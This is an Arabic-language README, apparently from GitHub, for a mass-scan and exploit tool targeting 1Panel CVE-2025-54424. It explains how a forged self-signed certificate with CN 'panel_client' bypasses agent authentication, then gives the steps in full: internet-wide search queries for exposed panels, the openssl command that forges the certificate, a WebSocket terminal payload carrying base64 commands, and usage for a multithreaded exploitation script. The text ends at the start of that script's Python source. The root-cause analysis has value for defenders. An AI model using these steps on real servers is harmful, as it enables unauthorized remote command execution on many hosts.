
أداة استغلال لـ 1Panel CVE-2025-54424، تتيح تجاوز الشهادة وتنفيذ أوامر عن بُعد عبر WebSocket، مع فحص جماعي وقشرة تفاعلية.
CVE-2025-54424: أداة متكاملة لثغرة تجاوز شهادة العميل لـ 1Panel مما يؤدي إلى RCE (مسح + استغلال)
1Panel هي لوحة إدارة تشغيل وصيانة Linux مفتوحة المصدر وحديثة، توفر واجهة رسومية لنشر مواقع الويب وإدارة الخوادم وتشغيل الخدمات.
في الإصدارات المتأثرة، تكون سياسة مصادقة TLS لـ Agent هي tls.RequireAnyClientCert، والتي تطلب فقط تقديم شهادة ولكنها لا تتحقق من مصداقيتها. يمكن للمهاجم تجاوز فحص TLS باستخدام شهادة ذاتية التوقيع، وتزوير حقل CN إلى panel_client لتجاوز فحص طبقة التطبيق. في النهاية، يمكن للمهاجم تزوير شهادة لاستدعاء واجهة تنفيذ الأوامر غير المصرح بها، مما يؤدي إلى ثغرة تنفيذ الأوامر عن بُعد.
<= v2.0.5
جمل مسح Hunter و Fofa كما يلي:
cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
تم نسخ جزء من إعلان الثغرة على GitHub

agent/init/router/router.go
نجد أن دالة Routers تستدعي دالة Certificate للتحقق الشامل في ملف agent/middleware/certificate.go

نجد أن دالة Certificate تتحقق مما إذا كان c.Request.TLS.HandshakeComplete قد تم إجراء اتصال بالشهادة.

يتم تحديد صحة c.Request.TLS.HandshakeComplete من خلال tls.RequireAnyClientCert في دالة Start في ملف agent/server/server.go
ملاحظة: نظراً لاستخدام tls.RequireAnyClientCert بدلاً من tls.RequireAndVerifyClientCert، فإن RequireAnyClientCert يتطلب فقط من العميل تقديم شهادة، لكنه لا يتحقق من مرجع التصديق (CA) الذي أصدر الشهادة. لذلك، يمكن لأي شهادة ذاتية التوقيع اجتياز مصافحة TLS.
بعد ذلك، ندخل إلى الفحوص الأخرى في دالة Certificate، والتي تتحقق فقط من أن حقل CN للشهادة هو panel_client، دون التحقق من مُصدر الشهادة. أخيراً، نجد أن اتصال WebSocket يمكنه تجاوز التحقق من Proxy-ID.

يوجد عدد كبير من واجهات WebSocket في المشروع.
/process/ws
تنسيق الطلب كما يلي:{
"type": "ps", // نوع البيانات: ps (عمليات)، ssh (جلسات SSH)، net (اتصالات الشبكة)، wget (تقدم التنزيل)
"pid": 123, // اختياري، تحديد معرف العملية للتصفية
"name": "process_name", // اختياري، التصفية حسب اسم العملية
"username": "user" // اختياري، التصفية حسب اسم المستخدم
}

/hosts/terminal
تنسيق الطلب كما يلي:{
"type": "cmd",
"data": "d2hvYW1pCg==" // ترميز base64 لـ "whoami"، تذكر إضافة إرجاع السطر (\n).
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
panel_client.crt و panel_client.key في Burp، افتح طلب WS، وقم بتعيين الهدف وبدء الطلب.استخدم أداتي المطورة CVE-2025-54424.py للفحص والاستغلال الجماعي. تعليمات استخدام الأداة كما يلي:
تثبيت التبعيات المطلوبة: pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel أداة متكاملة لثغرة تجاوز شهادة العميل مما يؤدي إلى RCE (مسح + استغلال)
المؤلف: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL هدف فردي، يدخل وضع الاستغلال. مثال: 192.168.1.100:8080
-f FILE, --file FILE ملف الأهداف، يدخل وضع الفحص الجماعي.
-o OUTPUT, --output OUTPUT
[وضع الفحص] اسم ملف حفظ نتائج الثغرات.
-t THREADS, --threads THREADS
[وضع الفحص] عدد الخيوط المتزامنة.
--proxy PROXY تعيين وكيل لجميع الطلبات. مثال: http://127.0.0.1:8080
مثال على فحص فردي + تنفيذ أوامر (تنفيذ أوامر تفاعلي عبر SSH) كما هو موضح في الصورة أدناه:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# تعطيل التحذيرات عند تعطيل SSL في طلبات requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- المتغيرات العامة وقفل الخيوط ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- الوظائف الأساسية ---